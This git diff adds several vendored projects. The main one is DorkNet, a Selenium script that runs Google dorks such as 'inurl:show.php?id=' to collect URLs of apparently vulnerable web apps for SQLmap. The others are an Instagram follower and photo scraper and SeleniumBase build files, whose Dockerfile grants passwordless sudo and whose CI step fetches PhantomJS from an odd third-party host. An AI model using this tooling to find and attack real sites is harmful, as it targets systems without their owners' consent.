+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    {one line to give the program's name and a brief idea of what it does.}
+    Copyright (C) {year}  {name of author}
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    {project}  Copyright (C) {year}  {fullname}
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<http://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.
diff --git a/DorkNet/README.md b/DorkNet/README.md
new file mode 100644
index 00000000..b1a4a263
--- /dev/null
+++ b/DorkNet/README.md
@@ -0,0 +1,41 @@
+# DorkNet
+Selenium powered Python script to automate searching the web for vulnerable applications.
+
+DorkNet can take a single dork or a list of dorks as arguments. After the proper command line arguments have been passed, the script will use Selenium and Geckodriver to find the results we want and save them to a textfile for further processing with SQLmap or similar utilities.
+
+### Note
+I have included the ability to proxy the connection of the web driver if desired. Simply provide the proxy IP and PORT when the dialog comes up.
+
+## Usage
+
+```
+git clone https://github.com/NullArray/DorkNet.git
+cd DorkNet
+python dorknet.py
+```
+
+The options for the program are as follows.
+
+```
+-h, --help              show this help message and exit
+-d DORK, --dork DORK    specify the dork you wish to use
+-l LIST, --list LIST    specify path to list with dorks
+-v, --verbose           toggle verbosity
+```
+
+Some examples for clarity.
+
+```
+DorkNet.py -h
+DorkNet.py -d inurl:show.php?id= -v
+DorkNet.py -l /path/to/list.txt --verbose
+```
+
+### Dependencies
+
+You will need the Mozilla [Geckodriver](https://github.com/mozilla/geckodriver/releases) for this to work. After it has been installed feel free to use the requirements file i made for this program
+
+```pip install -r requirements.txt```
+
+### Known Issue
+By using Selenium and Geckodriver, DorkNet is effective at emulating a regular browser. In this manner the program is able to avoid captchas most of the time. However on limited occasions, Google throws one regardless. The same sometimes happens when manually searching for strings that look like a dork. Should you encounter one, you can just fill out the captcha in the Geckodriver and DorkNet will continue it's normal operation.
diff --git a/DorkNet/dorknet.py b/DorkNet/dorknet.py
new file mode 100644
index 00000000..29038c8c
--- /dev/null
+++ b/DorkNet/dorknet.py
@@ -0,0 +1,166 @@
+#!/usr/bin/env python2.7
+
+import argparse
+import sys
+import time
+
+from selenium import webdriver
+from selenium.webdriver.common.keys import Keys
+from selenium.webdriver.common.by import By
+from selenium.webdriver.support.ui import WebDriverWait
+from selenium.webdriver.support import expected_conditions as EC
+
+from blessings import Terminal
+
+t = Terminal()
+
+
+# Check for args, print logo and usage
+if not len(sys.argv[1:]):
+    print t.cyan("""
+ ____          _   _____     _   
+|    \ ___ ___| |_|   | |___| |_ 
+|  |  | . |  _| '_| | | | -_|  _|
+|____/|___|_| |_,_|_|___|___|_|  
+                               
+Welcome to DorkNet.
+
+To start using this script please provide one or more command
+line arguments and their corresponding value, where applicable.
+To display all options available use -h or --help.
+
+Example:
+DorkNet.py -h
+DorkNet.py -d inurl:show.php?id= --verbose\n""")
+    
+    sys.exit(0)
+
+
+# Handle command line arguments
+parser = argparse.ArgumentParser(description="Use this script and dorks to find vulnerable web applications.")
+group = parser.add_mutually_exclusive_group()
+group.add_argument("-d", "--dork", help="		specify the dork you wish to use\n")
+group.add_argument("-l", "--list", help="		specify path to list with dorks\n")
+parser.add_argument("-v", "--verbose", action="store_true", help="		toggle verbosity\n")
+args = parser.parse_args()
+
+dork_list = []
+
+# Dork list processing
+if args.list:
+	print "\n[" + t.green("+") + "]Reading in list from: " + args.list + "\n\n"	
+	try:
+		with open(args.list, "r") as ins:
+			for line in ins:
+				dork_list.append(line)
+				
+				if args.verbose == True:
+					print "[" + t.magenta("~") + "]" + line 
+				
+	except IOError as e:
+		print "\n[" + t.red("!") + "]Could not read dork list"
+		if args.verbose == True:
+			print "\nAn IO Error was raised with the following error message: "
+			print "\n %s" % (e)
+            
+else:
+    dork_list.append(args.dork)
+
+
+
+print "\n[" + t.green("+") + "]Would you like DorkNet to proxy it's connection to the search engine?"
+query = raw_input("[Y]es/[N]o: ")
+
+if query == 'y':
+	IP = raw_input("\n[" + t.green("+") + "]Please enter the proxy host IP: ")
+	PORT = raw_input("\n[" + t.green("+") + "]Please enter the proxy port: ")
+	set_proxy = True
+elif query == 'n':
+	print "\n[" + t.green("+") + "]Establishing unproxied connection...\n"
+	set_proxy = False
+else:
+	print "\n[" + t.red("!") + "]Unhandled option, defaulting to unproxied connection..."
+	set_proxy = False
+
+
+# Web Driver Proxy
+def proxy(PROXY_HOST,PROXY_PORT):
+	fp = webdriver.FirefoxProfile()
+	print "[" + t.green("+") + "]Proxy host set to: " + PROXY_HOST
+	print "[" + t.green("+") + "]Proxy port set to: " + PROXY_PORT
+	print "\n[" + t.green("+") + "]Establishing connection..."
+	fp.set_preference("network.proxy.type", 1)
+	fp.set_preference("network.proxy.http",PROXY_HOST)
+	fp.set_preference("network.proxy.http_port",int(PROXY_PORT))
+	fp.set_preference("general.useragent.override","'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36'")
+	fp.update_preferences()
+	return webdriver.Firefox(firefox_profile=fp)
+
+
+# Function to generate and process results based on input
+def search():
+	link_list = []
+	
+	if set_proxy == True:
+		driver = proxy(IP, PORT)
+	else:
+		driver = webdriver.Firefox()
+    
+	for int in range(1):
+		try:
+			driver.get("http://google.com")
+		except Exception as e:
+			print "\n[" + t.red("!") + "]A connection could not be established"
+			if args.verbose == True:
+				print "An error was raised with the following error message: "
+				print "\n %s" % (e)
+				break
+				driver.quit()
+				sys.exit(0)
+			
+		assert "Google" in driver.title
+		for items in dork_list:
+			elem = driver.find_element_by_name("q")
+			elem.clear()
+			elem.send_keys(items)
+			elem.send_keys(Keys.RETURN)
+			time.sleep(1.5)
+			
+			try:
+				WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CLASS_NAME, "r")))
+			except Exception as e:
+				driver.quit()
+				print "\n[" + t.red("!") + "]Detecting page source elements failed/timed out.\n"
+				
+				if args.verbose == True:
+					print "An error was raised with the following error message: "
+					print "\n %s" % (e)
+				
+				time.sleep(1)
+				continue	
+				
+				
+			assert "No results found" not in driver.page_source
+			if "No results found" in driver.page_source:
+				continue
+
+			links = driver.find_elements_by_xpath("//h3//a[@href]")
+			for elem in links:
+				link_list.append(elem.get_attribute("href"))
+            
+	driver.quit()
+	return link_list
+
+proc_one = search()
+
+with open("results.log", "ab") as outfile:
+	for item in proc_one:
+		outfile.write("%s\n" % item)
+
+if args.verbose == True:	
+	with open("results.log", "r") as infile:
+		for line in infile:
+			print "[" + t.magenta("~") + "]" + line
+		
+
+print "\n\n[" + t.green("+") + "]Done. Results have been saved to a textfile, in the current directory as %s for further processing.\n" % outfile
diff --git a/DorkNet/requirements.txt b/DorkNet/requirements.txt
new file mode 100644
index 00000000..f711e914
--- /dev/null
+++ b/DorkNet/requirements.txt
@@ -0,0 +1,2 @@
+selenium ; python_version < '2.7.6'
+blessings ; python_version < '2.7.6'
diff --git a/InstagramCrawler/.gitignore b/InstagramCrawler/.gitignore
new file mode 100644
index 00000000..3f0ae0a9
--- /dev/null
+++ b/InstagramCrawler/.gitignore
@@ -0,0 +1,4 @@
+env
+data
+*.pyc
+
diff --git a/InstagramCrawler/README.md b/InstagramCrawler/README.md
new file mode 100644
index 00000000..a9eb83d3
--- /dev/null
+++ b/InstagramCrawler/README.md
@@ -0,0 +1,40 @@
+Feel free to open a Github issue if you have any problems running the code
+---
+# InstagramCrawler
+A non API python program to crawl public photos, posts
+
+### Example:
+Download the first 100 photos and captions(user's posts, if any) from username "instagram"
+
+NOTE: When I ran on public account 'instagram', somehow it stops at caption 29
+```
+$ python instagramcrawler.py -q 'instagram' -c -n 100
+```
+Search for the hashtag "#breakfast" and download first 50 photos
+```
+$ python instagramcrawler.py -q '#breakfast' -n 50
+```
+
+Record the first 30 followers of the username "instagram", requires log in
+```
+$ python instagramcrawler.py -q 'instagram' -t 'followers' -n 30
+```
+
+### Full usage:
+```
+usage: instagramcrawler.py [-h] [-q QUERY] [-n NUMBER] [-c] [-d DIR]
+```
+  - [-d DIR]: the directory to save crawling results, default is './data/[query]'
+  - [-q QUERY] : username, add '#' to search for hashtags, e.g. 'username', '#hashtag'
+  - [-t CRAWL_TYPE]: crawl_type, Options: 'photos | followers | following'
+  - [-c]: add this flag to download captions(what user wrote to describe their photos)
+  - [-n NUMBER]: number of posts, followers, or following to crawl,  
+
+
+### Installation
+There are 2 packages : selenium & requests
+
+NOTE: I used selenium = 3.4, geckodriver = 0.16 (fixed bug in previous versions)
+```
+$ pip install -r requirements.txt
+```
diff --git a/InstagramCrawler/instagramcrawler.py b/InstagramCrawler/instagramcrawler.py
new file mode 100644
index 00000000..832c904f
--- /dev/null
+++ b/InstagramCrawler/instagramcrawler.py
@@ -0,0 +1,297 @@
+from __future__ import division
+
+import argparse
+import codecs
+from collections import defaultdict
+import os
+import re
+import sys
+import time
+try:
+    from urlparse import urljoin
+    from urllib import urlretrieve
+except ImportError:
+    from urllib.parse import urljoin
+    from urllib.request import urlretrieve
+
+import requests
+import selenium
+from selenium import webdriver
+from selenium.webdriver.common.by import By
+from selenium.webdriver.common.keys import Keys
+from selenium.common.exceptions import NoSuchElementException, TimeoutException
+from selenium.webdriver.support import expected_conditions as EC
+from selenium.webdriver.support.ui import WebDriverWait
+
+# HOST
+HOST = 'http://www.instagram.com'
+
+# SELENIUM CSS SELECTOR
+CSS_LOAD_MORE = "a._8imhp._glz1g"
+CSS_RIGHT_ARROW = "a[class='_de018 coreSpriteRightPaginationArrow']"
+FIREFOX_FIRST_POST_PATH = "//a[contains(@class, '_8mlbc _vbtk2 _t5r8b')]"
+TIME_TO_CAPTION_PATH = "../../following-sibling::ul/*/*/span"
+
+# FOLLOWERS/FOLLOWING RELATED
+CSS_EXPLORE = "a[href='/explore/']"
+CSS_LOGIN = "a[href='/accounts/login/']"
+CSS_FOLLOWERS = "a[href='/{}/followers/']"
+CSS_FOLLOWING = "a[href='/{}/following/']"
+FOLLOWER_PATH = "//div[contains(text(), 'Followers')]"
+FOLLOWING_PATH = "//div[contains(text(), 'Following')]"
+
+# JAVASCRIPT COMMANDS
+SCROLL_UP = "window.scrollTo(0, 0);"
+SCROLL_DOWN = "window.scrollTo(0, document.body.scrollHeight);"
+
+# For Caption Scraping
+class url_change(object):
+    def __init__(self, prev_url):
+        self.prev_url = prev_url
+
+    def __call__(self, driver):
+        return self.prev_url != driver.current_url
+
+# Crawler Class
+class InstagramCrawler(object):
+    def __init__(self):
+        self._driver = webdriver.Firefox()
+
+        self.data = defaultdict(list)
+
+    def login(self):
+        self._driver.get(urljoin(HOST, "accounts/login/"))
+        print("")
+        WebDriverWait(self._driver, 60).until(
+            EC.presence_of_element_located((By.CSS_SELECTOR, CSS_EXPLORE))
+        )
+
+    def quit(self):
+        self._driver.quit()
+
+    def crawl(self, dir_prefix, query, crawl_type, number, caption):
+        print("dir_prefix: {}, query: {}, crawl_type: {}, number: {}, caption: {}"
+              .format(dir_prefix, query, crawl_type, number, caption))
+
+        if crawl_type == "photos":
+            # Browse target page
+            self.browse_target_page(query)
+            # Scroll down until target number photos is reached
+            self.scroll_to_num_of_posts(number)
+            # Scrape photo links
+            self.scrape_photo_links(number, is_hashtag=query.startswith("#"))
+            # Scrape captions if specified
+            if caption is True:
+                self.click_and_scrape_captions(number)
+
+        elif crawl_type in ["followers", "following"]:
+            # Need to login first before crawling followers/following
+            print("You will need to login to crawl {}".format(crawl_type))
+            self.login()
+            # Then browse target page
+            assert not query.startswith(
+                '#'), "Hashtag does not have followers/following!"
+            self.browse_target_page(query)
+            # Scrape captions
+            self.scrape_followers_or_following(crawl_type, query, number)
+
+        # Save to directory
+        print("Saving...")
+        self.download_and_save(dir_prefix, query, crawl_type)
+
+        # Quit driver
+        print("Quitting driver...")
+        self.quit()
+
+    def browse_target_page(self, query):
+        # Browse Hashtags
+        if query.startswith('#'):
+            relative_url = urljoin('explore/tags/', query.strip('#'))
+        else:  # Browse user page
+            relative_url = query
+
+        target_url = urljoin(HOST, relative_url)
+
+        self._driver.get(target_url)
+
+    def scroll_to_num_of_posts(self, number):
+        # Get total number of posts of page
+        num_info = re.search(r'\], "count": \d+',
+                             self._driver.page_source).group()
+        num_of_posts = int(re.findall(r'\d+', num_info)[0])
+        print("posts: {}, number: {}".format(num_of_posts, number))
+        number = number if number < num_of_posts else num_of_posts
+
+        # scroll page until reached
+        loadmore = WebDriverWait(self._driver, 10).until(
+            EC.presence_of_element_located(
+                (By.CSS_SELECTOR, CSS_LOAD_MORE))
+        )
+        loadmore.click()
+
+        num_to_scroll = int((number - 12) / 12) + 1
+        for _ in range(num_to_scroll):
+            self._driver.execute_script(SCROLL_DOWN)
+            time.sleep(0.1)
+            self._driver.execute_script(SCROLL_UP)
+            time.sleep(0.1)
+
+    def scrape_photo_links(self, number, is_hashtag=False):
+        print("Scraping photo links...")
+        encased_photo_links = re.finditer(r'src="([https]+:...[\/\w \.-]*..[\/\w \.-]*'
+                                          r'..[\/\w \.-]*..[\/\w \.-].jpg)', self._driver.page_source)
+
+        photo_links = [m.group(1) for m in encased_photo_links]
+
+        print("Number of photo_links: {}".format(len(photo_links)))
+
+        begin = 0 if is_hashtag else 1
+
+        self.data['photo_links'] = photo_links[begin:number + begin]
+
+    def click_and_scrape_captions(self, number):
+        print("Scraping captions...")
+        captions = []
+
+        for post_num in range(number):
+            if post_num == 0:  # Click on the first post
+                # Chrome
+                # self._driver.find_element_by_class_name('_ovg3g').click()
+                self._driver.find_element_by_xpath(
+                    FIREFOX_FIRST_POST_PATH).click()
+
+                if number != 1:  #
+                    WebDriverWait(self._driver, 5).until(
+                        EC.presence_of_element_located(
+                            (By.CSS_SELECTOR, CSS_RIGHT_ARROW)
+                        )
+                    )
+
+            elif number != 1:  # Click Right Arrow to move to next post
+                url_before = self._driver.current_url
+
+                self._driver.find_element_by_css_selector(
+                    CSS_RIGHT_ARROW).click()
+
+                # Wait until the page has loaded
+                try:
+                    WebDriverWait(self._driver, 5).until(
+                        url_change(url_before))
+                except TimeoutException:
+                    print("Time out in caption scraping at number {}".format(post_num))
+                    break
+
+            # Parse caption
+            try:
+                time_element = WebDriverWait(self._driver, 5).until(
+                    EC.presence_of_element_located((By.TAG_NAME, "time"))
+                )
+                caption = time_element.find_element_by_xpath(
+                    TIME_TO_CAPTION_PATH).text
+            except NoSuchElementException:  # Forbidden
+                caption = ""
+
+            captions.append(caption)
+
+        self.data['captions'] = captions
+
+    def scrape_followers_or_following(self, crawl_type, query, number):
+        print("Scraping {}...".format(crawl_type))
+        if crawl_type == "followers":
+            FOLLOW_ELE = CSS_FOLLOWERS
+            FOLLOW_PATH = FOLLOWER_PATH
+        elif crawl_type == "following":
+            FOLLOW_ELE = CSS_FOLLOWING
+            FOLLOW_PATH = FOLLOWING_PATH
+
+        # Locate Crawl Type
+        follow_ele = WebDriverWait(self._driver, 5).until(
+            EC.presence_of_element_located(
+                (By.CSS_SELECTOR, FOLLOW_ELE.format(query)))
+        )
+        follow_ele.click()
+        time.sleep(1)
+        title = self._driver.find_element_by_xpath(FOLLOW_PATH)
+        List = title.find_element_by_xpath('..').find_element_by_tag_name('ul')
+        List.click()
+
+        # Loop through list till target number is reached
+        num_of_shown_follow = len(List.find_elements_by_xpath('*'))
+
+        while len(List.find_elements_by_xpath('*')) < number:
+            element = List.find_elements_by_xpath('*')[-1]
+            # Work around for now => should use selenium's Expected Conditions!
+            try:
+                element.send_keys(Keys.PAGE_DOWN)
+            except Exception as e:
+                time.sleep(0.1)
+
+        follow_items = []
+        for ele in List.find_elements_by_xpath('*')[:number]:
+            follow_items.append(ele.text.split('\n')[0])
+
+        self.data[crawl_type] = follow_items
+
+    def download_and_save(self, dir_prefix, query, crawl_type):
+        # Check if is hashtag
+        dir_name = query.lstrip(
+            '#') + '.hashtag' if query.startswith('#') else query
+
+        dir_path = os.path.join(dir_prefix, dir_name)
+        if not os.path.exists(dir_path):
+            os.makedirs(dir_path)
+
+        print("Saving to directory...{}".format(dir_path))
+
+        # Save Photos
+        for idx, photo_link in enumerate(self.data['photo_links'], 0):
+            sys.stdout.write("\033[F")
+            print("Downloading {} image...".format(idx + 1))
+            # Filename
+            _, ext = os.path.splitext(photo_link)
+            filename = str(idx) + ext
+            filepath = os.path.join(dir_path, filename)
+            # Send image request
+            urlretrieve(photo_link, filepath)
+
+        # Save Captions
+        for idx, caption in enumerate(self.data['captions'], 0):
+
+            filename = str(idx) + '.txt'
+            filepath = os.path.join(dir_path, filename)
+
+            with codecs.open(filepath, 'w', encoding='utf-8') as fout:
+                fout.write(caption + '\n')
+
+        # Save followers/following
+        filename = crawl_type + '.txt'
+        filepath = os.path.join(dir_path, filename)
+        if len(self.data[crawl_type]):
+            with codecs.open(filepath, 'w', encoding='utf-8') as fout:
+                for fol in self.data[crawl_type]:
+                    fout.write(fol + '\n')
+
+
+def main():
+    #   Arguments  #
+    parser = argparse.ArgumentParser(description='Instagram Crawler')
+    parser.add_argument('-d', '--dir_prefix', type=str,
+                        default='./data/', help='directory to save results')
+    parser.add_argument('-q', '--query', type=str, default='instagram',
+                        help="target to crawl, add '#' for hashtags")
+    parser.add_argument('-t', '--crawl_type', type=str,
+                        default='photos', help="Options: 'photos' | 'followers' | 'following'")
+    parser.add_argument('-n', '--number', type=int, default=12,
+                        help='Number of posts to download: integer or "all"')
+    parser.add_argument('-c', '--caption', action='store_true',
+                        help='Add this flag to download caption when downloading photos')
+    args = parser.parse_args()
+    #  End Argparse #
+
+    crawler = InstagramCrawler()
+    crawler.crawl(dir_prefix=args.dir_prefix, query=args.query, crawl_type=args.crawl_type, number=args.number,
+                  caption=args.caption)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/InstagramCrawler/requirements.txt b/InstagramCrawler/requirements.txt
new file mode 100644
index 00000000..c241167e
--- /dev/null
+++ b/InstagramCrawler/requirements.txt
@@ -0,0 +1,3 @@
+futures==3.1.1
+requests==2.13.0
+selenium==3.4.0
diff --git a/SeleniumBase/.gitignore b/SeleniumBase/.gitignore
new file mode 100644
index 00000000..818f9f68
--- /dev/null
+++ b/SeleniumBase/.gitignore
@@ -0,0 +1,53 @@
+*.py[cod]
+
+# Packages
+*.egg
+*.egg-info
+dist
+build
+ghostdriver.log
+eggs
+parts
+bin
+var
+sdist
+develop-eggs
+.installed.cfg
+lib
+lib64
+__pycache__
+
+# Installer logs
+pip-log.txt
+.swp
+
+# Unit test / coverage reports
+.coverage
+.tox
+nosetests.xml
+
+# py.test
+.cache/*
+.pytest_config
+
+# Developer
+.project
+.pydevproject
+
+# Other
+selenium-server-standalone.jar
+geckodriver.log
+downloaded_files
+archived_files
+logs
+latest_logs
+log_archives
+archived_logs
+latest_report
+report_archives
+archived_reports
+html_report.html
+report.html
+assets
+temp
+node_modules
diff --git a/SeleniumBase/.travis.yml b/SeleniumBase/.travis.yml
new file mode 100644
index 00000000..77f3d77d
--- /dev/null
+++ b/SeleniumBase/.travis.yml
@@ -0,0 +1,30 @@
+language: python
+sudo: false
+python:
+  - "2.7"
+install:
+  - "pip install --upgrade pip"
+  - "pip install -r server_requirements.txt"
+  - "python server_setup.py install"
+before_script:
+  - "flake8 seleniumbase/*.py"
+  - "flake8 seleniumbase/*/*.py"
+  - "flake8 seleniumbase/*/*/*.py"
+  - "flake8 seleniumbase/*/*/*/*.py"
+  - "export DISPLAY=:99.0"
+  - "sh -e /etc/init.d/xvfb start"
+  - "export PATH=$PWD/travis_phantomjs/phantomjs-2.1.1-linux-x86_64/bin:$PATH"
+  - "if [ $(phantomjs --version) != '2.1.1' ]; then rm -rf $PWD/travis_phantomjs; mkdir -p $PWD/travis_phantomjs; fi"
+  - "if [ $(phantomjs --version) != '2.1.1' ]; then wget https://assets.membergetmember.co/software/phantomjs-2.1.1-linux-x86_64.tar.bz2 -O $PWD/travis_phantomjs/phantomjs-2.1.1-linux-x86_64.tar.bz2; fi"
+  - "if [ $(phantomjs --version) != '2.1.1' ]; then tar -xvf $PWD/travis_phantomjs/phantomjs-2.1.1-linux-x86_64.tar.bz2 -C $PWD/travis_phantomjs; fi"
+  - "phantomjs --version"
+script:
+  - "firefox --version"
+  - "nosetests examples/my_first_test.py --with-selenium --browser=firefox -s"
+  - "pytest examples/my_first_test.py --with-selenium --browser=firefox -s"
+  - "pytest examples/my_first_test.py --with-selenium --browser=phantomjs"
+env:
+  matrix:
+  - BROWSER=firefox
+notifications:
+  email: false
diff --git a/SeleniumBase/CNAME b/SeleniumBase/CNAME
new file mode 100644
index 00000000..eafccf49
--- /dev/null
+++ b/SeleniumBase/CNAME
@@ -0,0 +1 @@
+seleniumbase.com
\ No newline at end of file
diff --git a/SeleniumBase/Dockerfile b/SeleniumBase/Dockerfile
new file mode 100755
index 00000000..f5d73fc9
--- /dev/null
+++ b/SeleniumBase/Dockerfile
@@ -0,0 +1,115 @@
+# SeleniumBase Docker Image
+FROM ubuntu:14.04
+
+#=======================================
+# Install Python and Basic Python Tools
+#=======================================
+RUN apt-get update && apt-get install -y python python-pip python-setuptools python-dev python-distribute
+
+#=================================
+# Install Bash Command Line Tools
+#=================================
+RUN apt-get -qy --no-install-recommends install \
+    sudo \
+    unzip \
+    wget \
+    curl \
+    vim \
+    xvfb \
+  && rm -rf /var/lib/apt/lists/*
+
+#========================================
+# Add normal user with passwordless sudo
+#========================================
+RUN sudo useradd seluser --shell /bin/bash --create-home \
+  && sudo usermod -a -G sudo seluser \
+  && echo 'ALL ALL = (ALL) NOPASSWD: ALL' >> /etc/sudoers
+
+#==============================
+# Locale and encoding settings
+#==============================
+ENV LANGUAGE en_US.UTF-8
+ENV LANG ${LANGUAGE}
+RUN locale-gen ${LANGUAGE} \
+  && dpkg-reconfigure --frontend noninteractive locales 
+
+#======================
+# Install Chromedriver
+#======================
+RUN CHROMEDRIVER_VERSION=`curl -sS chromedriver.storage.googleapis.com/LATEST_RELEASE` && \
+    mkdir -p /opt/chromedriver-$CHROMEDRIVER_VERSION && \
+    curl -sS -o /tmp/chromedriver_linux64.zip http://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip && \
+    unzip -qq /tmp/chromedriver_linux64.zip -d /opt/chromedriver-$CHROMEDRIVER_VERSION && \
+    rm /tmp/chromedriver_linux64.zip && \
+    chmod +x /opt/chromedriver-$CHROMEDRIVER_VERSION/chromedriver && \
+    ln -fs /opt/chromedriver-$CHROMEDRIVER_VERSION/chromedriver /usr/local/bin/chromedriver
+
+#================
+# Install Chrome
+#================
+RUN curl -sS -o - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - && \
+    echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list && \
+    apt-get -yqq update && \
+    apt-get -yqq install google-chrome-stable && \
+    rm -rf /var/lib/apt/lists/*
+
+#==================
+# Configure Chrome
+#==================
+RUN dpkg-divert --add --rename --divert /opt/google/chrome/google-chrome.real /opt/google/chrome/google-chrome && \
+    echo "#!/bin/bash\nexec /opt/google/chrome/google-chrome.real --disable-setuid-sandbox --no-sandbox \"\$@\"" > /opt/google/chrome/google-chrome && \
+    chmod 755 /opt/google/chrome/google-chrome
+
+#=================
+# Install Firefox
+#=================
+RUN apt-get -qy --no-install-recommends install \
+     $(apt-cache depends firefox | grep Depends | sed "s/.*ends:\ //" | tr '\n' ' ') \
+  && rm -rf /var/lib/apt/lists/* \
+  && cd /tmp \
+  && wget --no-check-certificate -O firefox-esr.tar.bz2 \
+    'https://download.mozilla.org/?product=firefox-esr-latest&os=linux64&lang=en-US' \
+  && tar -xjf firefox-esr.tar.bz2 -C /opt/ \
+  && ln -s /opt/firefox/firefox /usr/bin/firefox \
+  && rm -f /tmp/firefox-esr.tar.bz2
+
+#===================
+# Install PhantomJS
+#===================
+RUN cd /usr/local/share && wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2
+RUN cd /usr/local/share && tar xjf phantomjs-2.1.1-linux-x86_64.tar.bz2
+RUN ln -s /usr/local/share/phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/local/share/phantomjs
+RUN ln -s /usr/local/share/phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/local/bin/phantomjs
+RUN ln -s /usr/local/share/phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/bin/phantomjs
+
+#===========================
+# Configure Virtual Display
+#===========================
+RUN set -e
+RUN echo "Starting X virtual framebuffer (Xvfb) in background..."
+RUN Xvfb -ac :99 -screen 0 1280x1024x16 > /dev/null 2>&1 &
+RUN export DISPLAY=:99
+RUN exec "$@"
+
+#=====================
+# Set up SeleniumBase
+#=====================
+COPY seleniumbase /SeleniumBase/seleniumbase/
+COPY examples /SeleniumBase/examples/
+COPY requirements.txt /SeleniumBase/requirements.txt
+COPY setup.py /SeleniumBase/setup.py
+RUN pip install --upgrade pip
+RUN pip install --upgrade setuptools
+RUN cd /SeleniumBase && ls && pip install -r requirements.txt --upgrade
+RUN cd /SeleniumBase && python setup.py install
+
+#==========================================
+# Create entrypoint and grab example tests
+#==========================================
+COPY integrations/docker/docker-entrypoint.sh /
+COPY integrations/docker/run_docker_test_in_firefox.sh /
+COPY integrations/docker/run_docker_test_in_chrome.sh /
+COPY integrations/docker/run_docker_test_in_phantomjs.sh /
+COPY integrations/docker/docker_config.cfg /SeleniumBase/examples/
+ENTRYPOINT ["/docker-entrypoint.sh"]
+CMD ["/bin/bash"]
diff --git a/SeleniumBase/LICENSE b/SeleniumBase/LICENSE
new file mode 100644
index 00000000..0f70cf9d
--- /dev/null
+++ b/SeleniumBase/LICENSE
@@ -0,0 +1,22 @@
+The MIT License (MIT)
+
+Copyright (c) 2017 Michael Mintz
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
diff --git a/SeleniumBase/README.md b/SeleniumBase/README.md
new file mode 100755
index 00000000..d660f688
--- /dev/null
+++ b/SeleniumBase/README.md
@@ -0,0 +1,717 @@
+![](https://cdn2.hubspot.net/hubfs/100006/images/logo_base_8.png "SeleniumBase")
+# SeleniumBase
+
+<b>All-in-One Automated Testing Software</b>
+
+SeleniumBase is everything you need to automate and test any website.
+
+[![pypi](https://img.shields.io/pypi/v/seleniumbase.svg)](https://pypi.python.org/pypi/seleniumbase) [![Build Status](https://travis-ci.org/seleniumbase/SeleniumBase.svg?branch=master)](https://travis-ci.org/seleniumbase/SeleniumBase) [![GitHub stars](https://img.shields.io/github/stars/seleniumbase/seleniumbase.svg "GitHub stars")](https://github.com/seleniumbase/SeleniumBase/stargazers) [![Python version](https://img.shields.io/badge/python-2.7-22AADD.svg "Python version")](https://docs.python.org/2/) [![MIT License](http://img.shields.io/badge/license-MIT-22BBCC.svg "MIT License")](https://github.com/seleniumbase/SeleniumBase/blob/master/LICENSE) [![Join the chat at https://gitter.im/seleniumbase/SeleniumBase](https://badges.gitter.im/seleniumbase/SeleniumBase.svg)](https://gitter.im/seleniumbase/SeleniumBase?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
+
